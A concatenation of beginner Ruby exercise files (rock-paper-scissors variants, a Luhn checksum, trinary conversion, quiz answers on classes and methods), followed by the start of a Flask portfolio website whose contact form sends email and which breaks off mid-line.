choose(['rock', 'spock']) when 'lizard' choose(['scissors', 'rock']) when 'spock' choose(['paper', 'lizard']) end end end class Move VALUES = ['rock', 'paper', 'scissors', 'lizard', 'spock'] attr_reader :value def initialize(value) @value = value end def scissors? @value == 'scissors' end def rock? @value == 'rock' end def paper? @value == 'paper' end def lizard? @value == 'lizard' end def spock? @value == 'spock' end def >(other_move) (rock? && other_move.scissors?) || (paper? && other_move.rock?) || (scissors? && other_move.paper?) || (rock? && other_move.lizard?) || (paper? && other_move.spock?) || (scissors? && other_move.lizard?) || (lizard? && other_move.spock?) || (lizard? && other_move.paper?) || (spock? && other_move.rock?) || (spock? && other_move.scissors?) end def <(other_move) (rock? && other_move.paper?) || (paper? && other_move.scissors?) || (scissors? && other_move.rock?) || (rock? && other_move.spock?) || (paper? && other_move.lizard?) || (scissors? && other_move.spock?) || (lizard? && other_move.scissors?) || (lizard? && other_move.rock?) || (spock? && other_move.lizard?) || (spock? && other_move.paper?) end def to_s @value end end class RPSGame attr_accessor :human, :computer def initialize @human = Human.new @computer = Computer.new end def display_welcome_message puts "Welcome to Rock, Paper, Scissors!" end def display_goodbye_message puts "Thank you for playing Rock, Paper, Scissors. Good bye!" end def display_moves puts "#{human.name} chose #{human.move}." puts "#{computer.name} chose #{computer.move}." end def display_winner if human.move > computer.move puts "#{human.name} won!" human.score += 1 elsif human.move < computer.move puts "#{computer.name} won!" computer.score += 1 else puts "It's a tie." end end def play_again? answer = nil loop do puts "Would you like to play again? (y/n)" answer = gets.chomp break if ['y', 'n'].include? answer.downcase puts "Sorry, must be y or n." end return false if answer.downcase == 'n' return true if answer.downcase == 'y' end def display_score puts "" puts "---- SCORE ----" puts "#{human.name}: #{human.score}" puts "#{computer.name}: #{computer.score}" puts "" end def display_move_history counter = 1 puts "" puts "---- MOVE HISTORY ----" puts "#{human.name}:" human.move_history.each do |move| puts "#{counter}. #{move}" counter += 1 end counter = 1 puts "#{computer.name}:" computer.move_history.each do |move| puts "#{counter}. #{move}" counter += 1 end puts "" end def play display_welcome_message loop do loop do human.choose computer.calculate_choice(computer.difficulty) display_moves display_winner break if human.score == 10 || computer.score == 10 end display_score display_move_history if play_again? initialize else break end end display_goodbye_message end end RPSGame.new.play <file_sep># checks if a number is valid per Luhn formula # returns the checksum # can create a valid number per Luhn formula class Luhn attr_accessor :num def initialize(num) @num = num end def self.create(nmbr) luhn = Luhn.new(nmbr) (0..9).each do |n| check = (luhn.num.to_s.chars << n.to_s).join.to_i return check if Luhn.new(check).valid? end end def addends arr = num.to_s.chars.map(&:to_i) arr.map!.with_index { |n, i| i.even? ? n * 2 : n } if arr.size.even? arr.map!.with_index { |n, i| i.odd? ? n * 2 : n } if arr.size.odd? arr.map { |n| n > 9 ? n - 9 : n } end def checksum addends.inject(:+) end def valid? (checksum % 10).zero? end end <file_sep># Question 1 # since there is the ``att_reader`` method available, # there is no need to refer to instance variable directly, # we can just call the corresponding getter method # in this case, Ben was right, # instance method inside class BankAccount will work correctly. # Question 2 # the mistake is in the usage of attr_reader for @quantity # insted of attr_accessor or just reasigning the isntance variable. # self.instance_variable or @instance_variable. # Question 3 # if we use ``attr_accessor`` we could change the value of @quantity # in two ways, either by using the method update_quantity or by using the # setter method provided by ``attr_accessor``. # Question 4 class Greeting def greet(string) puts string end end class Hello < Greeting def hi greet("Hello") end end class Goodbye < Greeting def bye greet("Goodbye") end end greet = Hello.new greet.hi bye = Goodbye.new bye.bye # Question 5 class KrispyKreme attr_reader :filling_type, :glazing def initialize(filling_type, glazing) @filling_type = filling_type @glazing = glazing end def to_s filling_string = @filling_type ? filling_type : "Plain" glazing_string = @glazing ? " with #{@glazing}" : '' filling_string + glazing_string end end donut1 = KrispyKreme.new(nil, nil) donut2 = KrispyKreme.new("Vanilla", nil) donut3 = KrispyKreme.new(nil, "sugar") donut4 = KrispyKreme.new(nil, "chocolate sprinkles") donut5 = KrispyKreme.new("Custard", "icing") puts donut1 # => "Plain" puts donut2 # => "Vanilla" puts donut3 # => "Plain with sugar" puts donut4 # => "Plain with chocolate sprinkles" puts donut5 # => "Custard with icing" # Question 6 # both work, # it is better to avoid ``self`` if possible. # Question 7 # we could omit the repetative ``light`` in the class method, to make it more # readable. <file_sep>class Trinary attr_reader :number def initialize(number) @number = number end def valid_trinary? number.split('').each do |num| return false unless %w(0 1 2).include? num end end def to_decimal counter = 0 unit_array = number.reverse.split('') while counter < unit_array.size unit_array[counter] = unit_array[counter].to_i * (3**counter) counter += 1 end valid_trinary? ? unit_array.inject(:+) : 0 end end <file_sep># secret handshake class SecretHandshake def initialize(dec) @dec = dec.to_i end def commands binaries = @dec.to_s(2).chars.map(&:to_i).reverse coms = ['wink', 'double blink', 'close your eyes', 'jump'] arr = [] binaries.each_with_index do |n, idx| arr << coms[idx] unless n.zero? || coms[idx].nil? arr.reverse! if coms[idx].nil? end arr end end <file_sep># exercisse 1 class Person attr_accessor :name def initialize(name) @name = name end end p bob = Person.new('bob') p bob.name p bob.name = 'Robert' p bob.name # exercisse 2, 3, 4 class Person attr_accessor :first_name, :last_name def initialize(full_name) parse_full_name(full_name) end def name (first_name + " " + last_name).strip end def name=(full_name) parse_full_name(full_name) end private def parse_full_name(full_name) both_names = full_name.split self.first_name = both_names.first self.last_name = both_names.size > 1 ? both_names.last : '' end end p bob = Person.new('Robert') p bob.name p bob.first_name p bob.last_name p bob.last_name = 'Smith' p bob.name p bob.name = "<NAME>" p bob.first_name p bob.last_name p bob = Person.new('<NAME>') p rob = Person.new('<NAME>') p bob.name == rob.name # exercisse 5 # it will output the code for bob object, since string interpolation # calls to_s on the object. # # we can either override to_s method, or call instance method ``name`` # on object ``bob`` <file_sep># Question 1 # it would print # 1 # 2 # 2 # 3 # Question 2 # ! is used at the end of method names to indicate methods, # that "mutate the caller", are "destructive methods" # however, not all destructive methodst have ! at the end of their names # ? is used at the end of method names to indicate methods, # that return a boolean value # it can also be a terniary operator if folowed by ":" # != is a "does not equal" sign, it should be used when comparing values, # and expecting a returned boolean value # user_name = 'abc' # !user_name # => false (returns the opposite of variables boolean value) # words = [1, 2, 2, 3] # words.uniq! # => [1, 2, 3] (returns only unique values from the array) # words # => [1, 2, 3] (also mutates the caller, words is now changed) # ?a # => "a" # ?8 # => "8" # ?! # => "!" # ?10 # => syntax error, unexpected '?' # (it returns a string version of one character signs) # arr = [1, 2, 3, 4, 5] # arr.include?(5) # => true # user_name = 'abc' # !!user_name # => true (returns boolean value of a variable) # Question 3 # advice = "Few things in life are as important as house training your pet dinosaur." # advice.gsub!('important', 'urgent') # Question 4 # numbers = [1, 2, 3, 4, 5] # numbers.delete_at(1) --> deletes the value at index 1 # numbers.delete(1) --> deletes all values 1 in the array # Question 5 num = 42 if (10..100).include?(num) Kernel.puts("#{num} is between 10 and 100") else Kernel.puts("#{num} is not between 10 and 100") end # Question 6 famous_words = "seven years ago..." not_so_famous_ones = "Four score and " Kernel.puts("#{not_so_famous_ones}" + "#{famous_words}") not_so_famous_ones << famous_words Kernel.puts("#{not_so_famous_ones}") # Question 7 # 42 # Question 8 flintstones = ["Fred", "Wilma"] flintstones << ["Barney", "Betty"] flintstones << ["BamBam", "Pebbles"] flintstones.flatten! Kernel.puts(flintstones) # Question 9 flintstones = { "Fred" => 0, "Wilma" => 1, "Barney" => 2, "Betty" => 3, "BamBam" => 4, "Pebbles" => 5 } flintstones.assoc("Barney") # Question 10 flintstones = ["Fred", "Barney", "Wilma", "Betty", "Pebbles", "BamBam"] flintstones_hash = {} flintstones.each_with_index do |name, index| flintstones_hash[name] = index end <file_sep># calculates if a number is perfect, deficient, or abundant class PerfectNumber def self.classify(num) raise RuntimeError if num <= 0 divisors_sum = (1...num).select do |n| (num % n).zero? end.inject(:+) if divisors_sum == num 'perfect' elsif divisors_sum > num 'abundant' else 'deficient' end end end <file_sep># Question 1 # case 1 will print "Hello" to screen # case 2 will return an error. method ``bye`` is not defined in Hello class. # case 3 will return an error. method ``greet`` # was not suplied with any arguments. # case 4 will print "Goodbye" to screen. # case 5 will return an error. There is no class mehod ``hi`` defined # in the class Hello. # Question 2 # we could define a class method ``hi`` in the class Hello. # if we wanted it to print a message to the screen we would have to # instantiate a new object and call instance method ``greeting`` on it. # Question 3 # we have to assign object creation to a local variable, and supply # the .new method with according parameters, to create an instance. # Question 4 # we would have to create a new to_s method inside the class Cat, # that would output the wanted string. class Cat attr_reader :type def initialize(type) @type = type end def to_s "I am a #{type} cat" end end # Question 5 # the second line would produce an error, because there is no # instance method ``manufacturer`` defined in class Television # the third line would run do what instance method ``model`` does. # fifth line would produce whatever class method ``manufacturer`` does. # sixth line would return an error, as there is no class method ``model`` # defined in the class Television. # Question 6 # insted of self. inside the instance method definition # we could increment the instance variable @age directly. # Question 7 # ``attr_accessor`` and the return value in the class method # ``self.information`` are both redundant, and should be omitted in this case. <file_sep># sums all the multiples up to (but not including) the specified limit # if no argument is given, it assumes multiples to be 3, 5 class SumOfMultiples def initialize(*multiples) @multiples = multiples.empty? ? [3, 5] : multiples end def to(limit) result = [] counter = 0 @multiples.each do |num| loop do sum = num * (counter + 1) if sum < limit sum result << sum counter += 1 else counter = 0 break end end end result.uniq.inject(:+).nil? ? 0 : result.uniq.inject(:+) end def self.to(limit) new.to(limit) end end <file_sep># exercise 1, 2, 3 class Pet def run 'running!' end def jump 'jumping!' end end class Dog < Pet def speak 'bark!' end def swim 'swimming!' end def fetch 'fetching!' end end class Bulldog < Dog def swim "can't swim!" end end class Cat < Pet def speak 'meow!' end end teddy = Dog.new puts teddy.speak puts teddy.swim butch = Bulldog.new puts butch.speak puts butch.swim kitty = Cat.new puts kitty.speak puts kitty. run puts kitty.fetch # exercise 4 # Method lookup path is the path/ order, in which ruby looks # for a definition of a method, in the class/ module hiararchy. <file_sep># Question 1 flintstones = %w(<NAME> Wilma Betty BamBam Pebbles) # Question 2 flintstones << "Dino" Kernel.puts(flintstones) # Question 3 flintstones << %w(<NAME>) flintstones.push("Dino").push("Hoppy") flintstones.concat(%w(Dino Hoppy)) Kernel.puts(flintstones) # Question 4 advice = "Few things in life are as important as house training your pet dinosaur." advice.slice!(0, advice.index('house')) Kernel.puts(advice) # Question 5 statement = "The Flintstones Rock!" statement.scan('t').count # Question 6 title = "Flintstone Family Members" title.center(40) Kernel.puts(title.center(40)) <file_sep># Question 1 ages = { "Herman" => 32, "Lily" => 30, "Grandpa" => 402, "Eddie" => 10 } ages.has_key?("Spot") ages.include?("Spot") ages.member?("Spot") # Question 2 ages = { "Herman" => 32, "Lily" => 30, "Grandpa" => 5843, "Eddie" => 10, "Marilyn" => 22, "Spot" => 237 } all_values = 0 ages.each do |_, value| all_values += value end Kernel.puts(all_values) # ages.values.inject(:+) # Question 3 ages = { "Herman" => 32, "Lily" => 30, "Grandpa" => 402, "Eddie" => 10 } ages.keep_if {|_, value| value < 100} Kernel.puts("#{ages}") # Question 4 munsters_description = "The Munsters are creepy in a good way." munsters_description.capitalize! munsters_description.swapcase! munsters_description.downcase! munsters_description.upcase! # Question 5 ages = { "Herman" => 32, "Lily" => 30, "Grandpa" => 5843, "Eddie" => 10 } additional_ages = { "Marilyn" => 22, "Spot" => 237 } ages.merge!(additional_ages) # Question 6 ages = { "Herman" => 32, "Lily" => 30, "Grandpa" => 5843, "Eddie" => 10, "Marilyn" => 22, "Spot" => 237 } ages.values.min # Question 7 advice = "Few things in life are as important as house training your pet dinosaur." advice.include?("Dino") advice.match("dino") # Question 8 flintstones = %w(<NAME>ty BamBam Pebbles) flintstones.index {|word| word[0, 2] == "Be"} # Question 9 flintstones = %w(<NAME>ty BamBam Pebbles) flintstones.map! do |name| name[0, 3] end # Question 10 flintstones = %w(<NAME>ty BamBam Pebbles) flintstones.map! { |name| name[0,3] } <file_sep>OPTIONS = ['rock', 'paper', 'scissors'] def prompt(message) Kernel.puts("=> #{message}") end def print_result(human, computer) case human when 'rock' if computer == 'paper' prompt("I pick: #{computer}, you lose!") elsif computer == 'scissors' prompt("I pick: #{computer}, you win!") else prompt("I pick: #{computer}, it's a draw!") end when 'scissors' if computer == 'paper' prompt("I pick: #{computer}, you win!") elsif computer == 'scissors' prompt("I pick: #{computer}, it's a draw!") else prompt("I pick: #{computer}, you lose!") end when 'paper' if computer == 'paper' prompt("I pick: #{computer}, it's a draw!") elsif computer == 'scissors' prompt("I pick: #{computer}, you lose!") else prompt("I pick: #{computer}, you win!") end end end prompt('Welcome to rock paper scissors game.') prompt('You will be playing agains me, your favorite computer') loop do prompt('Rock, paper or scissors?') answer = '' loop do answer = Kernel.gets().chomp().downcase() if OPTIONS.include?(answer) break else prompt("Invalid input! Valid choices are: #{OPTIONS.join(', ')}.") end end computer_choice = OPTIONS.sample() print_result(answer, computer_choice) prompt('Care for another?(Y for yes / other for no)') another_go = Kernel.gets().chomp() break unless another_go.downcase().start_with?('y') end prompt('Thanks for playing, good bye!')
f7641dc542b5f16a66efbf18125a91aa40570465
[ "Ruby" ]
53
Ruby
MrChriss/Ruby
c5aa1f79faac12373b9967fb0c859a9bd2e475c5
a09ccfffe48507becc33366644d05fee565a7863
refs/heads/master
<repo_name>Leixor/sockel<file_sep>/src/client.ts import WebSocket from "isomorphic-ws"; import { IsConnectedMessage, Message, WebSockel } from "./webSockel"; type OnMessageCallback = (data: any, ws: WebSockel) => void; /** * A webbrowser and node ready implementation of a sockel client * * Can only be instantiated with its public static [[connect]] function */ export class Client extends WebSockel { /** * A list of callbacks which only get called if the message type of a websocket message matches a key in the object */ protected onMessageHandlers: { [key: string]: OnMessageCallback[]; } = {}; private constructor(url: string, protocols?: string | string[], options?: WebSocket.ClientOptions) { super(new WebSocket(url, protocols, options)); this.socket.onmessage = (message: WebSocket.MessageEvent) => { const internalMessage = WebSockel.parseAsInternalMessage(message.data.toString()); const publicMessage: Message = { type: internalMessage.type, data: internalMessage.data }; if (!this.onMessageHandlers[publicMessage.type]) { return; } this.onMessageHandlers[publicMessage.type].forEach((cb) => { cb(publicMessage.data, this); }); }; } /** * Opens a connection to a sockel server * This function is awaitable, as it waits for a response of the websocketServer (not just the open event) * * @param url * @param protocols * @param options */ public static async connect( url: string, protocols?: string | string[], options?: WebSocket.ClientOptions ): Promise<Client> { const client = new this(url, protocols, options); return await new Promise(async (resolve, reject) => { client.onmessage<IsConnectedMessage>("IS_CONNECTED", () => { return resolve(client); }); await new Promise(() => { setTimeout(() => { return reject(Error("Timeout while connecting to websocketServer")); }, 2000); }); }); } /** * A synchronous alternative to the send function. You can await this call of a message sending to expect * a message as a response from the websocketServer * * @param message * @param timeout */ public async request<TMessage extends Message>(message: Message, timeout: number = 2000): Promise<TMessage> { return await new Promise<TMessage>(async (resolve, reject) => { message.waitingForResponse = true; const sentMessage = super.send(message); if (!sentMessage) { return; } this.onmessage(`RESPONSE_${sentMessage.metaData.messageId}`, (responseMessage: TMessage) => { return resolve(responseMessage); }); if (timeout > 0) { await new Promise(() => { setTimeout(() => { return reject("Timeout while waiting for a response from the websocketServer"); }, timeout); }); } }); } /** * Defines a callback for when the client receives a message with the given type from this methods parameter * Can be given an interface as a generic argument, so the data is typed when using it in the callback * * @param type Defines on which message type the callback should be executed * @param cb */ public onmessage(type: string, cb: (data: any, ws: WebSockel) => void): void; public onmessage<TMessage extends Message>( type: TMessage["type"], cb: (data: TMessage["data"], ws: WebSockel) => void ): void; public onmessage<T extends Message>(type: T["type"], cb: (data: T, ws: WebSockel) => void): void { if (!this.onMessageHandlers[type]) { this.onMessageHandlers[type] = []; } this.onMessageHandlers[type].push(cb); } /** * Passthrough wrapper * * @param cb */ public onerror(cb: (event: WebSocket.ErrorEvent) => void) { this.socket.onerror = cb; } /** * Passthrough wrapper * * @param cb */ public onclose(cb: (event: WebSocket.CloseEvent) => void) { this.socket.onclose = cb; } } <file_sep>/test/sockel.spec.ts import * as http from "http"; import uuid = require("uuid"); import Test = Mocha.Test; import { Client, Message, Server } from "../src"; interface TestMessage extends Message { type: "TEST_MESSAGE"; data: { testString: string }; } const chai = require("chai"); const expect = chai.expect; chai.use(require("chai-as-promised")); describe("Sockel", () => { const websocketServerPort = 3006; const testMessage: TestMessage = { type: "TEST_MESSAGE", data: { testString: "cool" } }; const extractUserFromRequest = (req: http.IncomingMessage) => ({ id: "Test", type: 3 }); const sockelServer = Server.create({ port: websocketServerPort, extractUserFromRequest, }); let sockelClient: Client; before(() => { sockelServer.purgeOnMessageCallbacks(); }); after(() => { sockelServer.close(); }); describe("Server", () => { beforeEach(async () => { sockelClient = await Client.connect(`ws://localhost:${websocketServerPort}`); sockelServer.purgeOnMessageCallbacks(); }); afterEach(() => { sockelClient.close(); }); it("calls onmessage callback on correct message type", (done) => { sockelServer.onmessage("TEST_MESSAGE", async (data, connectedUser) => { expect(connectedUser.user.id).to.be.equal("Test"); done(); }); sockelClient.send(testMessage); }); it("fails to send to user if user doesnt exist", () => { const userId = uuid(); expect(() => { sockelServer.sendToUser(userId, { type: "", data: {} }); }).to.throw(`User with id ${userId} doesn't exist`); }); }); describe("Client", () => { beforeEach(async () => { sockelClient = await Client.connect(`ws://localhost:${websocketServerPort}`); sockelServer.purgeOnMessageCallbacks(); }); afterEach(() => { sockelClient.close(); }); it("calls onmessage callback onmessage correct message type", (done) => { sockelClient.onmessage<TestMessage>("TEST_MESSAGE", (data) => { expect(data.testString).to.be.equal(testMessage.data.testString); done(); }); sockelServer.sendToUser("Test", testMessage); }); it("can wait for request callback response", async () => { sockelServer.onmessage("TEST_MESSAGE", async () => { return { type: "SYNC_MESSAGE" }; }); const response = await sockelClient.request(testMessage); expect(response.type).to.be.equal("SYNC_MESSAGE"); }); it("timeouts when websocketServer didn't define the route a client is requesting", async () => { await expect(sockelClient.request(testMessage, 1500)).to.be.rejectedWith( "Timeout while waiting for a response from the websocketServer" ); }); }); }); <file_sep>/README.md # sockel ## A TypeScript way of writing WebSocket applications This libray is a wrapper around the standard implementations of WebSocket libraries (both Server and Client side). It tries to enable developers to write WebSocket application that look more like standard API requests on both sides. Some features include: - General - Streamlining how messages have to look like between client and servers - Routes can be declared on global scope without tinkering with the onconnection callback etc. - Coming soon - Automatic json schema validation before passing the data into your route callback - Server - Built in user management - You don't have to store your connection in an extra format, sockel already handles every incoming connection and stores them in the format that you need - Globaly declared routes - you don't have to declare your onmessage callbacks in any other callback, they can all be directly declared after creating your server callback etc. - Authentication - A function which handles Authentication and returns the resulting user objects can be defined in a parameter on creation - Client - Awaitable connection creation - Awaitable response for sent messages ## The Message Interface A message which is sent from a client to a server (and vice versa), always has the same format. ```typescript type Message = { type: string; data?: any }; ``` This format has no real restrictions, other than a type having to be defined. This type is what defines the routing on both client and server side. ## Examples ### General Usage The following code shows an example ```typescript import { Client, Server }; // NOTE: All following Message types can have completely arbitrary names, // they are just named the way they are to better show the functionality const server = await Server.create(); server.onmessage("SEND_TYPE", async (data: any) => { console.log(JSON.stringify({type: "TEST_TYPE", data})); }); server.onmessage("REQUEST_TYPE", async (data: any) => { return { type: "RESPONSE_MESSAGE", data: {}} }); // Following code can also be pasted into a typescript based browser client const client = await Client.connect("localhost:3000"); // Sending a message without await a message as a response client.send({type: "TEST_TYPE", data: {}}) // Sending a message and await a response message from the server const response = await client.request({ type: "REQUEST_TYPE", data: {} }) ``` ### Client Creating a client with sockel can be achieved with the following lines of code. #### connect - Connecting to the server <br/> ```typescript import { Client } from "sockel"; const client = await Client.connect("localhost:3000"); ``` First thing to notice that you can await the connection call, meaning you don't have to write any code for the onopen/onconnection event. This is a choice made to provide an async await way of writing sockel code. <br/> #### send - Sending a Message to the server After awaiting the connection, you can instantly start to send a Message to the server. The send function accepts an object with a type (for identifying the Message on the server) and an arbitrary data . For more information on the message format see [Message formatting](Message formatting). ```typescript client.send({ type: "TEST_TYPE", data: {} }); ``` <br/> #### request - Sending a Message and waiting for a response Message Sockel provides a way to send a Message and then await a Message as a response (comparable to a POST request). ```typescript const response: Message = await client.request({ type: "TEST_TYPE", data: {} }); ``` The interface for the request method is the same as the send method. The difference lies in the underlying request, appending the information that the client awaits a response message from the server. <file_sep>/src/server.ts import WebSocket, { ServerOptions } from "isomorphic-ws"; import * as http from "http"; import uuid from "uuid"; import { InternalMessage, IsConnectedMessage, Message, WebSockel } from "./webSockel"; import express, { Express } from "express"; import { Client } from "./client"; export type User = { id: string | number }; interface ConnectedSockel<TUser extends User> { ws: WebSockel; user: TUser; } type OnMessageCallback<TUser extends User> = ( data: any, connectedSockel: ConnectedSockel<TUser> ) => Promise<void | Message>; /** * */ export class Server<TUser extends User> { /** * The internally wrapped Websocket.Server */ protected websocketServer: WebSocket.Server; /** * A list of callbacks which only get called if the message type of a websocket message matches a key in the object */ protected onMessageHandlers: { [key: string]: OnMessageCallback<TUser>; } = {}; /** * A full list of all the connected users, grouped by their user id */ protected connectedUsers: Map<TUser["id"], Set<ConnectedSockel<TUser>>> = new Map(); private constructor( extractUserFromRequest: (request: http.IncomingMessage) => Promise<TUser> | TUser, options?: ServerOptions, cb?: () => void ) { this.websocketServer = new WebSocket.Server(options, cb); this.websocketServer.on("connection", async (ws, request: http.IncomingMessage) => { const user: TUser = await extractUserFromRequest(request); const sockel = new WebSockel(ws); const connectedUser: ConnectedSockel<TUser> = { ws: sockel, user }; this.connectedUsers.get(connectedUser.user.id)?.add(connectedUser) ?? this.connectedUsers.set(user.id, new Set([connectedUser])); ws.on("message", async (message: Buffer) => { let internalMessage: InternalMessage; try { internalMessage = WebSockel.parseAsInternalMessage(message.toString()); } catch (error) { console.log(error); return; } const publicMessage: Message = { type: internalMessage.type, data: internalMessage.data ?? {} }; if (!this.onMessageHandlers[publicMessage.type]) { return; } const responseMessage = await this.onMessageHandlers[publicMessage.type]( publicMessage.data, connectedUser ); if (internalMessage.metaData.waitingForResponse) { sockel.send({ type: `RESPONSE_${internalMessage.metaData.messageId}`, data: responseMessage ? responseMessage : {}, }); return; } if (!responseMessage) { return; } sockel.send(responseMessage); }); sockel.send<IsConnectedMessage>({ type: "IS_CONNECTED" }); }); } private onMessageCallback(message: Buffer) {} /** * Passthrough wrapper for websocket close event * * @param cb */ public close(cb?: (err?: Error) => void) { this.websocketServer.close(cb); } /** * * @param type * @param cb */ public onmessage( type: string, cb: (data: any, connectedUser: ConnectedSockel<TUser>) => Promise<void | Message> ): void; public onmessage<TMessage extends Message>( type: TMessage["type"], cb: (data: TMessage["data"], connectedUser: ConnectedSockel<TUser>) => Promise<void | Message> ): void; public onmessage<TMessage extends Message>( type: TMessage["type"], cb: (data: TMessage, connectedUser: ConnectedSockel<TUser>) => Promise<void | Message> ): void { this.onMessageHandlers[type] = cb; } /** * * @param userId * @param message */ public sendToUser<TMessage extends Message>(userId: TUser["id"], message: TMessage) { if (!this.connectedUsers.get(userId)) { throw new Error(`User with id ${userId} doesn't exist`); } this.connectedUsers.get(userId)?.forEach((connectedUser) => { connectedUser.ws.send(message); }); } /** * */ public purgeOnMessageCallbacks() { this.onMessageHandlers = {}; } /** * * @param options * @param cb */ public static create( options?: ServerOptions & { extractUserFromRequest?: undefined; }, cb?: () => void ): Server<User>; public static create<TUser extends User>( options: ServerOptions & { extractUserFromRequest: (req: http.IncomingMessage) => Promise<TUser> | TUser; }, cb?: () => void ): Server<TUser>; public static create<TUser extends User>( options: ServerOptions & { extractUserFromRequest?: undefined | ((req: http.IncomingMessage) => Promise<TUser> | TUser); } = { extractUserFromRequest: undefined, }, cb?: () => void ) { if (options.extractUserFromRequest === undefined) { return new this((req: http.IncomingMessage) => ({ id: uuid() }), options, cb); } return new this(options.extractUserFromRequest, options, cb); } } <file_sep>/src/webSockel.ts import WebSocket from "isomorphic-ws"; import uuid from "uuid"; /** * A message represents a opinionated way of sending data via WebSockets. * It is defined, by a type, its appended data (if needed) and some metaData */ export interface Message { type: string; data?: { [key: string]: string | object | number | boolean } | Message; waitingForResponse?: boolean; } export interface MessageMetaData { timestamp: string; messageId: string; waitingForResponse: boolean; } export interface InternalMessage extends Message { metaData: MessageMetaData; } export interface IsConnectedMessage extends Message { type: "IS_CONNECTED"; } /** * This only serves as a representation of a WebSocket which will be used in as a parameter in custom defined * [[onmessage]] callbacks * * **Important**: This can only be instantiated with an already existing WebSocket, * for creating a connection to a websocketServer, see [[Client]] */ export class WebSockel { /** * The internally wrapped WebSocket */ protected socket: WebSocket; /** * Accepts an external WebSocket as the input of the wrapped one, so the websocketServer can also wrap the incoming * WebSockets into WebSockel wrappers * * @param {WebSocket} ws */ constructor(ws: WebSocket) { this.socket = ws; } /** * Tries to parse an arbitrary string into a message representation * * Will throw an error if the string is not in a valid json format or doesn't suffice the requirements to be * passed further along as a valid message * * @param message */ public static parseAsInternalMessage(message: string): InternalMessage { let parsedMessage: object; try { parsedMessage = JSON.parse(message); } catch (error) { throw error; } if (WebSockel.isInternalMessage(parsedMessage)) { return parsedMessage; } throw new Error("Message is not in a valid format"); } /** * A type check if the given input is a valid InternalMessage * * @param message */ private static isInternalMessage(message: any): message is InternalMessage { return !( typeof message !== "object" || !message.type || !message.metaData || !message.metaData.messageId || !message.metaData.timestamp || typeof message.type !== "string" || typeof message.metaData !== "object" || typeof message.metaData.timestamp !== "string" || typeof message.metaData.messageId !== "string" ); } /** * Sends a message via the underlying WebSocket connection * * Also passes meta data to the given messages so we can uniquely identify messages * between the client and the websocketServer * * @param message */ public send<TMessage extends Message>(message: TMessage): InternalMessage { const internalMessage: InternalMessage = { type: message.type, data: message.data, metaData: { timestamp: new Date().toISOString(), messageId: uuid(), waitingForResponse: message.waitingForResponse ?? false, }, }; if (!WebSockel.isInternalMessage(internalMessage)) { throw new Error("Trying to send a message with an invalid format"); } this.socket.send(JSON.stringify(internalMessage)); return internalMessage; } /** * A passtrough wrapper for the original websocket close event * * @param code * @param data */ public close(code?: number, data?: string) { this.socket.close(code, data); } }
6d001ab266ce8c6318bd085fb617225b32befcb6
[ "Markdown", "TypeScript" ]
5
TypeScript
Leixor/sockel
92ee51c349e74ac8aea4a43397ff6a07954d68ba
0b14d4f05a349ef3f369063094f3eaf96b0bd8c2
refs/heads/main
<repo_name>dancock/qa_engineering_assessment<file_sep>/__tests__/challenge3.test.ts import { Widgets } from "./pages/Widgets"; describe("widget sum tests", () => { let widget = new Widgets(); beforeEach(async () => { await widget.navigate(); }); afterAll(async () => { await widget.driver.quit(); }); test("sum tesing", async () => { await widget.setNumbers(10, 2); let results = await widget.getSum(); expect(results).toContain(12); expect(results).not.toContain("Jennifer"); expect(results).not.toContain(8); }); });
cb762d0bb4ed7797adc957d80cd9628669847b74
[ "TypeScript" ]
1
TypeScript
dancock/qa_engineering_assessment
dd336c67ce12af00d120667de55f8127c250095b
95a8c3eabc4f3a5e795b429c6033b584d38efcbb
refs/heads/master
<file_sep>function currentLine(line) { if (!line.length) { //checks if line length = 0 return "The line is currently empty." } const numbersAndNames = [] for (let i = 0, l = line.length; i < l; i++) { numbersAndNames.push(`${i + 1}. ${line[i]}`) //adds people in line to array numbersAndNames } return `The line is currently: ${numbersAndNames.join(', ')}` //spits out the names and line positions of everyone in line }; function nowServing(line) { if (!line.length) { return "There is nobody waiting to be served!" } return `Currently serving ${line.shift()}.` }; function takeANumber(line, name) { line.push(name) return `Welcome, ${name}. You are number ${line.length} in line.` //uses line.length to return the value of the position of the person in line }; /*My original solution which approached it somewhat incorrectly var katzDeli = []; function takeANumber(line, name) { line.push(name); var position1 = line.indexOf(name) var realposition = position1 + 1 return ("Welcome, " + name + ". You are number " + realposition + " in line." ) } function nowServing(linename) { if (linename.length === 0) { return "There is nobody waiting to be served!"; } else { var first = (linename[0]) linename.shift() return ("Currently serving " + first + ".") } } function currentLine(linename) { if (linename.length === 0) { return "The line is currently empty."; } else { var intro = "The line is currently: "; return (intro + "1. " + linename[0] + ", 2. " + linename[1] + ", 3. " + linename[2]) } } */
8c66f16c1c473a41a94a2d25662f4fc5dae9e46c
[ "JavaScript" ]
1
JavaScript
jpets/js-deli-counter-js-apply-000
660c786b9e2961c5ac13957f21f80a7b8e81ecca
5f202fe6d7cda4dde0483c132c9bfd71d1716965
refs/heads/master
<file_sep>from flask import Flask, render_template, redirect, url_for, request, session, flash import smtplib import imghdr from email.message import EmailMessage import os # Development only # import env as config app = Flask(__name__) # Development only # app.config['SECRET_KEY'] = config.SECRET_KEY # portfolio_username = config.portfolio_username # portfolio_password = config.portfolio_password # Email config EMAIL_USE_TLS = True EMAIL_HOST = 'smtp.gmail.com' # EMAIL_ADDRESS = config.EMAIL_ADDRESS # EMAIL_PASSWORD = config.EMAIL_PASSWORD EMAIL_ADDRESS = os.environ.get('EMAIL_ADDRESS') EMAIL_PASSWORD = <PASSWORD>('EMAIL_PASSWORD') EMAIL_PORT = 587 portfolio_username = os.environ.get('portfolio_username') portfolio_password = <PASSWORD>('portfolio_<PASSWORD>') app.config['SECRET_KEY'] = os.environ.get('SECRET_KEY') # Route for home page @app.route('/') def index(): return render_template('index.html', title='Jacqueline Walsh - Portfolio') # Route for portfolio page @app.route('/portfolio') def portfolio(): return render_template('portfolio.html', title='Jacqueline Walsh - Portfolio of Work') # Route for testimonials page @app.route('/testimonials') def testimonials(): return render_template('testimonials.html', title='Jacqueline Walsh - Testimonials of Work') # Route for cv page @app.route('/cv') def cv(): return render_template('cv.html', title='Jacqueline Walsh - Curriculum Vitae') # Route for contact page @app.route('/contact', methods=['GET', 'POST']) def contact(): if request.method == 'POST': name = request.form['name'] company = request.form['company'] email = request.form['email'] subject = request.form['subject'] message = request.form['message'] # contacts = ['EMAIL_ADDRESS', '<EMAIL>'] msg = EmailMessage() msg['Subject'] = subject msg['From'] = email msg['To'] = EMAIL_ADDRESS message_body = f'From: {name}\n\nCompany: {company}\n\nEmail: {email}\n\nSubject: {subject}\n\n{message}' msg.set_content(message_body) with 